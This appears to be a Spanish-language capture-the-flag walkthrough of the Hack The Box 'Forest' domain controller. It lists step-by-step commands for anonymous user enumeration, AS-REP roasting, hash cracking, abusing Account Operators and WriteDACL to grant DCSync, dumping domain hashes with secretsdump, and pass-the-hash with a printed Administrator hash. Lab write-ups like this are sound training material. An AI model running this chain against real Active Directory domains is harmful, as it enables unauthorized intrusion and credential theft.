🩸
Gzzcoo HTB Walkthroughs
HomePentest NotesHTB Profile
  • Home
  • ACTIVE DIRECTORY
    • Easy
      • Active
      • Cicada
      • EscapeTwo
      • Fluffy
      • Forest
      • Sauna
      • Support
      • Timelapse
    • Medium
      • Administrator
      • Authority
      • Cascade
      • Certified
      • Escape
      • Hospital
      • Intelligence
      • Jab
      • Manager
      • Monteverde
      • Puppy
      • Querier
      • Resolute
      • Scrambled
      • StreamIO
      • TombWatcher
      • TheFrizz
    • Hard
      • Acute
      • Analysis
      • Blackfield
      • Certificate
      • Haze
      • Mantis
      • Object
      • Reel
      • Scepter
      • Search
      • Vintage
    • Insane
      • DarkCorp
      • Ghost
      • Infiltrator
      • Multimaster
      • Sizzle
  • WINDOWS
    • Easy
      • Blue
      • Devel
      • Grandpa
      • Granny
      • Heist
      • Jerry
      • Netmon
      • Optimum
      • Return
  • LINUX
    • Easy
      • Alert
      • Analytics
      • Antique
      • Armageddon
      • Bank
      • Bashed
      • Bizness
      • Blocky
      • BoardLight
      • BountyHunter
      • Broker
      • Busqueda
      • Cap
      • Chemistry
      • Code
      • Codify
      • CozyHosting
      • Delivery
      • Devvortex
      • Dog
      • Editorial
      • GreenHorn
      • Headless
      • Horizontall
      • Irked
      • Keeper
      • Knife
      • Lame
      • LinkVortex
      • Mirai
      • MonitorsTwo
      • Nibbles
      • Nocturnal
      • Nunchucks
      • OpenAdmin
      • Paper
      • PC
      • PermX
      • Planning
      • Pilgrimage
      • Precious
      • Previse
      • Sau
      • ScriptKiddie
      • Shocker
      • Sightless
      • Squashed
      • Titanic
      • Topology
      • TraceBack
      • TwoMillion
      • UnderPass
      • Usage
      • Valentine
      • Validation
      • Wifinetic
    • Medium
      • Backfire
      • Cat
      • Cypher
      • Heal
      • Instant
      • Trickster
    • Hard
      • Eureka
Con tecnología de GitBook

© 2025 Gzzcoo.

En esta página
  • Reconnaissance
  • RPC Enumeration - Getting valid domain users
  • Perform an AS-RepRoast attack with the obtained users
  • Cracking hashes with Hashcat
  • Flag user.txt
  • Privilege Escalation
  • BloodHound Enumeration with SharpHound
  • Finding an attack vector in BloodHound
  • Abusing Account Operators Group - Creating a new user
  • Abusing Account Operators Group - Assigning a group to the newly created user
  • Abusing WriteDacl in the domain - Granting DCSync Privileges
  • DCSync Exploitation - Secretsdump.py
  • PassTheHash

¿Te fue útil?

Exportar como PDF
  1. ACTIVE DIRECTORY
  2. Easy

Forest

AnteriorFluffySiguienteSauna

Última actualización hace 3 meses

¿Te fue útil?

Forest en un controlador de dominio de Windows (DC) de dificultad fácil, para un dominio en el que se ha instalado Exchange Server. Se descubre que el DC permite enlaces LDAP anónimos, que se utilizan para enumerar objetos de dominio. La contraseña de una cuenta de servicio con la autenticación previa Kerberos deshabilitada se puede descifrar para obtener un punto de apoyo.

Se descubre que la cuenta de servicio es miembro del grupo Operadores de cuenta, que se puede utilizar para agregar usuarios a grupos privilegiados de Exchange. La pertenencia al grupo de Exchange se aprovecha para obtener privilegios de DCSync en el dominio y volcar los hashes NTLM.

Reconnaissance

Realizaremos un reconocimiento sobre la máquina Forest para encontrar puertos abiertos.

nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.161 -oG allPorts

Lanzaremos unos scripts básicos para ver si encontramos alguna vulnerabilidad en los puertos expuestos.

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49666,49667,49671,49676,49677,49684,49706 10.10.10.161 -oN targeted

Comprobaremos el nombre del dominio a través del siguiente comando.

ldapsearch -x -H ldap://10.10.10.161 -s base | grep defaultNamingContext

Procederemos a añadir la línea del dominio en el archivo /etc/hosts con su respectiva dirección IP.

catnp /etc/hosts | grep htb.local

RPC Enumeration - Getting valid domain users

Utilizamos rpcclient con el comando enumdomusers para enumerar los usuarios del dominio en el servidor SMB con IP 10.10.10.161. Este comando permite la conexión anónima y proporciona una lista de usuarios sin necesidad de credenciales.

Redirigiremos el resultado a un archivo llamado "users" y comprobaremos el contenido del archivo.

rpcclient -U "" 10.10.10.161 -N -c enumdomusers | grep -oP '\[.*?\]' | grep -v "0x4" | tr -d '[]' > users

catnp users

Perform an AS-RepRoast attack with the obtained users

Ejecutamos la herramienta de impacket-GetNPUsers con las opciones -no-pass y -usersfile users para obtener los usuarios que pueden realizar autenticación con Kerberos en el dominio htb.local a través del fichero de los usuarios enumerados.

Comprobamos que obtenemos el hash krb5 del usuario "svc-alfresco".

impacket-GetNPUsers -no-pass -usersfile users htb.local/ 2>/dev/null

Cracking hashes with Hashcat

Nos guardaremos el hash en un archivo llamado "hash.txt"

catnp hash.txt

Con el uso de la herramienta de hashcat realizaremosataque de fuerza bruta para obtener la contraseña a través de un diccionario, como rockyou. Finalmente obtenemos que la contraseña para el usuario "svc-alfresco" es "s3rvice".

hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

Flag user.txt

Procederemos a comprobar que con dichas credenciales podemos acceder al WinRIM que hemos encontrado expuesto en la máquina. Comprobamos que efectivamente nos aparece como Pwn3d.

netexec winrm 10.10.10.161 -u svc-alfresco -p 's3rvice'

Procederemos a conectarnos mediante evil-winrm y con las credenciales encontradas, comprobamos la flag de user.txt.

evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'

Privilege Escalation

BloodHound Enumeration with SharpHound

Procederemos a pasarnos al equipo que queremos comprometer el binario de SharpHound.exe y a recopilar toda la información del sistema.

upload SharpHound.exe

./SharpHound.exe --CollectionMethods All

El .zip que nos genere, nos lo descargaremos a nuestra Kali.

download 20241026170412_BloodHound.zip

Finding an attack vector in BloodHound

Es hora de elevar nuestros privilegios y obtener acceso de administrador. Volviendo a BloodHound, podemos ver que nuestro usuario, svc-alfresco, es miembro del grupo “Account Operators” que tiene permiso GenericAll en el grupo “Exchange Windows Permissions”.

Con el permiso GenericAll, tenemos todos los derechos sobre el objeto de destino (agregar usuarios a un grupo, restablecer la contraseña del usuario, etc.) y podemos abusar de este permiso débil.

Además, el grupo “Exchange Windows Permissions” tiene permiso WriteDACL en el dominio (htb.local). Esto significa que si creamos un usuario y lo agregamos al grupo “Exchange Windows Permissions”, podríamos darle derechos de acceso DCSync y volcar los hashes de contraseña del controlador de dominio.

Abusing Account Operators Group - Creating a new user

Abusando de que el usuario svc-alfresco se encuentra en el grupo donde podemos crear usuarios, procederemos a añadir un nuevo usuario y hacerlo miembro del grupo "Exchange Windows Permissions"

net user jr Password01! /add /domain

net group "Exchange Windows Permissions" jr /add

Abusing Account Operators Group - Assigning a group to the newly created user

net localgroup "Remote Management Users" jr /add

Comprobaremos que el usuario se ha creado correctamente y las credenciales funcionan sin problemas.

netexec smb 10.10.10.161 -u jr -p 'Password01!' -d htb.local

Abusing WriteDacl in the domain - Granting DCSync Privileges

Primero de todo, procederemos a descargarnos el PowerView en nuestro equipo Kali, lo pasaremos al equipo que queremos comprometer e importaremos el módulo.

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1

upload PowerView.ps1

Import-Module .\PowerView.ps1

Estos comandos le otorga al usuario jr el derecho DCSync en el controlador de dominio htb.local, lo que le permite replicar la base de datos del dominio y obtener hashes de contraseñas de otros usuarios.

$SecPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('htb.local\jr', $SecPass)

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jr -Rights DCSync

DCSync Exploitation - Secretsdump.py

Utilizaremos la herramienta de secretsdump para bolcar toda la información de las contraseás (hashes) del DC. Comprobamos que hemos obtenido el hash del usuario "Administrator", lo cual podremos hacer un Pass The Hash.

secretsdump.py -just-dc  htb.local/jr@10.10.10.161

PassTheHash

Comprobaremos con netexec de conectarnos al WinRM mediante el usuario "Administrator" y el hash que hemos dumpeado con Secretsdump.py.

Comprobamos que nos aparece como Pwn3d lo que indica que podemos conectarnos haciendo PassTheHash con el usuario Administrator.

netexec winrm 10.10.10.161 -u Administrator -H '32693b11e6aa90eb43d32c72a07ceea6'

Procederemos a conectarnos haciendo PassTheHash con el usuario "Administrator" y su respectivo hash y comprobamos que podemos acceder y revisar la flag de root.txt.

evil-winrm -i 10.10.10.161 -u Administrator -H '32693b11e6aa90eb43d32c72a07ceea6'